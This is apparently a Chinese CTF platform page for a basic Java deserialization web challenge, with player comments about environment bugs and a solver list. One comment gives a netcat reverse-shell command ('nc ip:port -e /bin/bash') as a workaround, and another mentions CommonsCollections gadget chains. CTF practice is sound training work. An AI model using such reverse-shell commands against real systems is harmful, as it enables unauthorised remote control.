ez_java_serializeWEB 未解决

分数: 25 金币: 3
题目作者: 0xcccc
一  血: Paradiso
一血奖励: 5金币
解  决: 219
提  示:
描  述:
基础的java反序列化题目
其  他: 下载
评论
laodao 4年前

提交的数据一直是响应something is wrong,请问大佬是什么原因啊

回复 0
mamba24 4年前

我也是

回复 0

fallingskies 4年前

本地可以,场景里不行,吐了?

回复 1

Otaku 4年前

...不知道是不是真的连不上外网,反正我在我自己的本地跑不论是ping,curl还是nc都能连上我的vps。但是在这个环境下返回233但是vps毫无反应

回复 1

amajane 4年前

环境很容易被干死

回复 1

云牧青 4年前

淦,好坑,bug很多。如果能执行命令了,bash -i反弹是不行的,bash -c中的命令也不能被执行,直接用nc ip:port -e /bin/bash

回复 0
hotencode 4年前

到了2333这一步请问师傅怎么nc的啊,我根本连不上

回复 0

Black_hole 4年前

rnm退钱

回复 9

bazett 4年前

没明白反序列化是啥意思

回复 0

云牧青 4年前

搞了一下午,从最开始啥也不知道干到ObjectInputStream,干到CommonsCollections,干到成功看到2333的响应。启动了两次环境,结果发现好像不通外网拿不了shell... 你却让我输得这么彻底,哈哈哈哈哈哈哈, 焯 !!!!!!

回复 0

狐萝卜CarroT 4年前

java反序列化我倒是没了解过,还是先去看看基础吧..

回复 2

zxmals 4年前

还要花金币下载 。。。。。

回复 0

WriteUp

image
jack12138

8 金币

评分(3)

解题动态

小懒 攻破了该题 12小时前
KN11 攻破了该题 2天前
世界你好 攻破了该题 5天前
小楼一夜听春雨 攻破了该题 6天前
lzq2000 攻破了该题 7天前
能工智人 攻破了该题 8天前
星宇Sec 攻破了该题 19天前
CTF-大王 攻破了该题 22天前
加州故事 攻破了该题 25天前
mahiru 攻破了该题 25天前
modeng 攻破了该题 29天前
mystery 攻破了该题 29天前
jwleft 攻破了该题 1月前
whshkdh 攻破了该题 1月前
wszdhf 攻破了该题 1月前
兰小方 攻破了该题 1月前
C071 攻破了该题 2月前
kimol 攻破了该题 2月前
ss12345678 攻破了该题 2月前
afeer123 攻破了该题 2月前
问题反馈